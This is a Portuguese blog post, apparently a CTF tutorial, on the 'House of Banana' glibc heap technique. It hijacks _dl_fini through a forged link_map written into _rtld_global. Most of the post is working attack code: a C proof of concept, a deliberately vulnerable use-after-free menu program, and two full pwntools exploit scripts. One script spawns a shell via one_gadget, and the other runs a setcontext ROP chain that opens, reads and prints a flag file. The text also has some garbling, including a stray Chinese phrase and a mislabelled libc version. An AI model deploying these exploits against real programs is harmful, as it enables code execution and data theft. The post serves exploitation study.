Casa do Banana: Exploração de Vulnerabilidades em GLIBC

Versões aplicáveis: 2.23 até a mais recente 2.36 (nas versões 2.27 e abaixo não é possível realizar operações de leitura, escrita e execução (orw), mas nas versões superiores é possível, pois apenas a partir da versão 2.27 é possível controlar o rdx e utilizar setcontext para realizar orw)

Condições de exploração:

  1. Possibilidade de escrever um endereço de heap em qualquer endereço (geralmente utilizando ataque de large bin)
  2. Capacidade de retornar da função main ou chamar a função exit
  3. Possibilidade de vazar endereços da libc e da heap

Princípio da Vulnerabilidade

O código fonte é extenso, aqui apresento apenas as partes principais:

void
_dl_fini (void) //casa do banana
{
  
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
   
      ...
	  for (i = 0; i < nmaps; ++i) //percorrendo a lista link_map
	    {
	   ...

	      if (l->l_init_called)  //ponto de verificação importante
		{
		
		  l->l_init_called = 0;

		 
		  if (l->l_info[DT_FINI_ARRAY] != NULL //26 
		      || (ELF_INITFINI && l->l_info[DT_FINI] != NULL)) //13 que geralmente é satisfeito
		    {
		     
		      if (l->l_info[DT_FINI_ARRAY] != NULL) //26
			{
			  ElfW(Addr) *array =
			    (ElfW(Addr) *) (l->l_addr
					    + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
			  unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
					    / sizeof (ElfW(Addr)));
			  while (i-- > 0)
			    ((fini_t) array[i]) ();  //posição alvo
			}
          }
}

O código 'l' é uma estrutura link_map

A estrutura link_map é uma estrutura de dados usada no Linux para vinculação dinâmica, responsável por armazenar as relações de dependência entre bibliotecas de objetos compartilhados e informações de tabela de símbolos. Cada objeto compartilhado possui uma estrutura link_map, e essas estruturas formam uma lista encadeada que descreev as relações de dependência entre todas as bibliotecas de objetos compartilhados.

A estrutura link_map é definida no arquivo de cabeçalho /usr/include/link.h e seus membros principais incluem:

  • l_next: ponteiro para a próxima estrutura link_map da biblioteca de objetos compartilhados.
  • l_real: ponteiro para o próprio endereço
  • info[x]: é um ponteiro para o tipo ElfW(Dyn), usado para armazenar informações dinâmicas da biblioteca de objetos compartilhados.

_rtld_global é uma variável global no Linux usada para vinculação dinâmica. É um ponteiro para a estrutura struct link_map e representa as relações de dependência entre todas as bibliotecas de objetos compartilhados do processo atual.

Essa variável global é definida no vinculador dinâmico ld.so e seu papel é registrar o ponteiro principal da lista encadeada das estruturas link_map de todas as bibliotecas de objetos compartilhadas carregadas pelo vinculador dinâmico durante a inicialização do processo.

Durante o processo de vinculação dinâmica, quando é necessário encontrar informações de tabela de símbolos, o vinculador dinâmico pode acessar a lista link_map apontada por _rtld_global, percorrendo todas as bibliotecas de objetos compartilhados carregadas para localizar as informações de tabela de símbolos necessárias.

Em outras palavras, precisamos usar o ataque de large bin para modificar _rtld_global para nossa estrutura link_map forjada.

Análise de Código Importante

A partir do código acima, podemos ver que precisamos controlar o valor de 'i' do array para poder sequestrar o fluxo de execução.

Controlando o valor do array

ElfW(Addr) *array =
			    (ElfW(Addr) *) (l->l_addr
					    + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);

Na verdade, é:

*array = (l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);   DT_FINI_ARRAY é 26, geralmente colocamos l_addr como zero e o deslocamento de d_un.d_ptr é 8

Isso significa que escrevemos o endereço de l_info[26] em l_info[26], e o valor de array será o valor armazenado em l_info[27].

Controlando o valor de i

i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val/ sizeof (ElfW(Addr))); DT_FINI_ARRAYSZ é 28

Isso significa que escrevemos o endereço de l_info[28] em l_info[28], e o valor de i será o valor armazenado em l_info[29] dividido por 8.

Verificações a Serem Contornadas

  • Restaurar o valor original do campo l_next, assim os link_map posteriores não precisam ser forjados. (Durante a iteração, são necessários três ou mais link_map estruturas)
  • Alterar o campo l_real para o endereço do link_map forjado, para satisfazer if (l == l->l_real) e garantir que não acione assert
  • Definir o valor de l_info[26] como não nulo, para satisfazer if (l->l_info[DT_FINI_ARRAY] != NULL)
  • Definir o valor de l->l_info[26] como o endereço de l->l_info[26], então o valor em l->l_info[27] será o array
  • Definir o valor de l->l_info[28] como o endereço de l->l_info[28], então o valor em l->l_info[29] dividido por 8 será o valor final de i

Prova de Conceito

//gcc poc.c -o poc -w -g
//ubuntu 18.04     GLIBC 2.27-3ubuntu1.6
#include <stdio.h>
#include <stdlib.h>
#define rtld_global_dl_ns 0x61b060
#define one_gadget 0x4f302

int main (void)
{
  
  setvbuf(stdout, 0, 2, 0);
  long long int libc_base=&printf-0x64e40;
  printf("base da libc %llx\n",libc_base);
  size_t *p=malloc(0x400);
  
  p[3]=libc_base+0x61c710;//l_next
  p[5]=p;//l_real    também é o endereço do link_map forjado
  p[34]=&p[34];//l->l_info[26] DT_FINI_ARRAY
  p[35]=&p[38];//l->l_info[DT_FINI_ARRAY]->d_un.d_ptr    
  p[36]=&p[36];//l->l_info[DT_FINI_ARRAYSZ]
  p[37]=0x8;//i=l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
  p[38]=libc_base+one_gadget;//chama array[i]
  p[0x62]=0x800000000;//faz l->l_init_called ser 1
  *(size_t *)(rtld_global_dl_ns+libc_base)=p;//sequestra _rtld_global_ns_loaded  objetivo forjar link_map
  return 0;
}

Desafio

Usou diretamente o problema criado pelo mestre Zikh, escrito com duas versões diferentes da libc.

A versão 2.27 usou one_gadget (porque não é possível controlar os registradores)

A versão 2.31 usou orw (problemas de versão superior geralmente têm sandbox ativado)

Análise do Programa

É um problema de menu com adicionar, excluir, mostrar e editar.

Vulnerabilidade

No delete, há uma vulnerabilidade de UAF (Use After Free).

Código Fonte

//gcc test.c -o test -w -g
//ubuntu 18.04     GLIBC 2.27-3ubuntu1.6
#include<stdio.h> 
#include <unistd.h> 
#define num 10
void *chunk_list[num];
int chunk_size[num];

void init()
{
	setbuf(stdin, 0);
	setbuf(stdout, 0);
	setbuf(stderr, 0);
}

void menu()
{
	puts("1.adicionar");
	puts("2.editar");
	puts("3.mostrar");
	puts("4.excluir");
	puts("5.sair");
	puts("Sua escolha:");
}


int add()
{
	int index,size;
	puts("índice:");
	scanf("%d",&index);
	if(index<0 || index>=num)
		exit(1);
	puts("Tamanho:");
	scanf("%d",&size);
	if(size<0x80||size>0x500)
		exit(1);
	chunk_list[index] = calloc(size,1);
  chunk_size[index] = size;
}

int edit()
{
	int index;
	puts("índice:");
	scanf("%d",&index);
	if(index<0 || index>=num)
		exit(1);
	puts("contexto: ");
	read(0,chunk_list[index],chunk_size[index]);
}

int delete()
{
	int index;
	puts("índice:");
	scanf("%d",&index);
	if(index<0 || index>=num)
		exit(1);
		
	free(chunk_list[index]);
}

int show()
{
	int index;
	puts("índice:");
	scanf("%d",&index);
	if(index<0 || index>=num)
		exit(1);
		
	puts("contexto: ");
	puts(chunk_list[index]);
}


int main()
{
	int choice;
	init();
	while(1){
		menu();
		scanf("%d",&choice);
		if(choice==5){
			exit(0);
		}
		else if(choice==1){
			add();
		}
		else if(choice==2){
			show();
		}
		else if(choice==3){
			edit();
		}
		else if(choice==4){
			delete();
		}
	}
}

Usando one_gadget para explorar

  1. Como não há limites no número de vezes que show e edit podem ser usados, combinado com uma vulnerabilidade UAF, primeiro vazamos o endereço da libc e o endereço da heap.
  2. Usar ataque de large bin para substituir o nó principal do link_map (_rtld_global) pelo endereço do link_map forjado.
  3. Entrar na função exit para obter shell.

Isso é relativamente simples, basta forjar uma estrutura link_map. O que需要注意 é encontrar corretamente a posição de i_info[26].

Além disso, o membro circulado em vermelho na figura abaixo ocupa apenas um byte. Para tornar l_init_called igual a 1, precisamos inserir p64(0x800000000) (pode haver outras maneiras).

Usando orw para explorar

Compara com o acima, apenas adiciona o uso de setcontext para executar orw. Abaixo explico alguns detalhes.

A dificuldade aqui é combinar setcontext para migrar a pilha e executar um orw.

É necessário notar que não podemos controlar diretamente o fluxo de execução para setcontext, pois o rdx neste momento é 2, e na atribuição do setcontext mostrada abaixo, o rdx precisa ser um andereço válido.

O que precisamos fazer?

Executar um ret, porque você descobrirá que há uma instrução logo após o call que pode controlar o rdx para um endereço válido (esta é também uma das razões pelas quais versões superiores a 2.27 podem executar orw).

Em seguida, executar a instrução em stecontext+61 (por que podemos executar duas chamadas, porque é um loop while, ele executa quantas vezes o valor de i).

Precisamos usar setcontext para controlar rsp, rcx (por que rcx? Porque na instrução setcontext há uma instrução push rcx, para não interromper o fluxo de execução, precisamos preencher rcx com a instrução ret, combinada com rsp para transferir o fluxo de execução para orw).

Exploits

Versão 2.27 usando one_gadget

from tools import*
p,e,libc=load('poc')
context(os='linux', arch='amd64', log_level='debug')
add_pri=0xCFF
show_pri=0xD13
edit_pri=0xD27
delete_pri=0xD3B
def add(index,size):
    p.sendlineafter('Sua escolha:','1')
    p.sendlineafter("índice:\n",str(index))
    p.sendlineafter("Tamanho:",str(size))
def show(index):
    p.sendlineafter('Sua escolha:','2')
    p.sendlineafter("índice:\n",str(index))
def edit(index,content):
    p.sendlineafter('Sua escolha:','3')
    p.sendlineafter("índice:\n",str(index))
    p.sendafter("contexto: \n",content)
def delete(index):
    p.sendlineafter('Sua escolha:','4')
    p.sendlineafter("índice:\n",str(index))
def exit():
    p.sendlineafter('Sua escolha:','5')
add(0,0x420)
add(1,0x500)
add(2,0x418)
delete(0)
add(3,0x500)


show(0)
a=p.recv(10)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3ec090
log_addr('base_da_libc')

edit(0,'a'*0x10)
show(0)
p.recvuntil('a'*0x10)
leak_heap=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('endereço_heap')

# ataque large bin      
# &_rtld_global  
rtld_global=libc_base+0x61b060
l_next=libc_base+0x61c710
one_gadget=search_og(0)
edit(0,b'a'*0x18+p64(rtld_global-0x20))
delete(2)
debug(p,'pie',add_pri,delete_pri,edit_pri)
add(4,0x500)
link_map=p64(0)
link_map+=p64(l_next)  #l_next
link_map+=p64(0)
link_map+=p64(leak_heap+0x940)  #l_real
link_map+=p64(0)*28
link_map+=p64(leak_heap+0xa50) #l->info[26]
link_map+=p64(leak_heap+0xa70) #27
link_map+=p64(leak_heap+0xa60) #28
link_map+=p64(0x8) #29
link_map+=p64(libc_base+one_gadget)
link_map+=p64(0)*59
link_map+=p64(0x800000000)
edit(2,link_map)
exit()
# 
p.interactive()

Versão 2.34 usando orw (versão 2.31-0ubuntu9.7_amd64)

from tools import*
p,e,libc=load('poc')
context(os='linux', arch='amd64', log_level='debug')
add_pri=0xCFF
show_pri=0xD13
edit_pri=0xD27
delete_pri=0xD3B
def add(index,size):
    p.sendlineafter('Sua escolha:','1')
    p.sendlineafter("índice:\n",str(index))
    p.sendlineafter("Tamanho:",str(size))
def show(index):    
    p.sendlineafter('Sua escolha:','2')
    p.sendlineafter("índice:\n",str(index))
def edit(index,content):
    p.sendlineafter('Sua escolha:','3')
    p.sendlineafter("índice:\n",str(index))
    p.sendafter("contexto: \n",content)
def delete(index):
    p.sendlineafter('Sua escolha:','4')
    p.sendlineafter("índice:\n",str(index))
def exit():
    p.sendlineafter('Sua escolha:','5')
add(0,0x420)
add(1,0x500)
add(2,0x418)
delete(0)
add(3,0x500)


show(0)
a=p.recv(10)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3ec090+0x1ff0c0
log_addr('base_da_libc')

edit(0,'a'*0x10)
show(0)
p.recvuntil('a'*0x10)
leak_heap=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('endereço_heap')

# ataque large bin      
# &_rtld_global  
# rtld_global=libc_base+0x61b060
# l_next=libc_base+0x61c710

pop_rdi=libc_base+0x0000000000023b72
pop_rsi=libc_base+0x000000000002604f
pop_rdx_r12=libc_base+0x0000000000119241



open=libc.symbols['open']+libc_base
read=libc.symbols['read']+libc_base
write=libc.symbols['write']+libc_base

rtld_global=libc_base+0x222060
l_next=libc_base+0x223740
setcontext=libc_base+0x54f8d
one_gadget=search_og(0)
pop_rsp_ret=libc_base+0x000000000002f73a
ret=libc_base+0x0000000000040ff8
edit(0,b'a'*0x18+p64(rtld_global-0x20))
delete(2)
debug(p,'pie',add_pri,delete_pri,edit_pri)
add(4,0x500)
link_map=p64(0) 
link_map+=p64(l_next)  #l_next
link_map+=p64(0)
link_map+=p64(leak_heap+0x940)  #l_real
link_map+=p64(0)*28
link_map+=p64(leak_heap+0xa50) #l->info[26]
link_map+=p64(leak_heap+0xa70) #27
link_map+=p64(leak_heap+0xa60) #28
link_map+=p64(0x10) #29
link_map+=p64(setcontext)  #0
link_map+=p64(ret)    #1
link_map+=p64(0)*13
link_map+=p64(leak_heap+0x200)#rsi   
link_map+=b'flag\x00\x00\x00\x00'
link_map+=p64(0)  #rbx  0x80
link_map+=p64(0x100)
link_map+=p64(0)*2
link_map+=p64(leak_heap+0xc60)   #rsp
link_map+=p64(ret)   #rcx
link_map+=p64(0)*38
link_map+=p64(0x800000000)


#abrir

rop=p64(pop_rdi)+p64(leak_heap+0xaf0)
rop+=p64(pop_rsi)+p64(0)
rop+=p64(open)
#ler 
rop+=p64(pop_rdi)+p64(3)
rop+=p64(pop_rsi)+p64(leak_heap+0x100)
rop+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
rop+=p64(read)
#escrever
rop+=p64(pop_rdi)+p64(1)
rop+=p64(pop_rsi)+p64(leak_heap+0x100)
rop+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
rop+=p64(write)

edit(2,link_map+rop)
exit()
# #  
# pause()
# p.send(rop)
p.interactive()
# 0x205f58   rdx=endereço_heap+0xa70

Tags: exploit glibc heap Segurança cibersegurança

Publicado em 6-26 04:19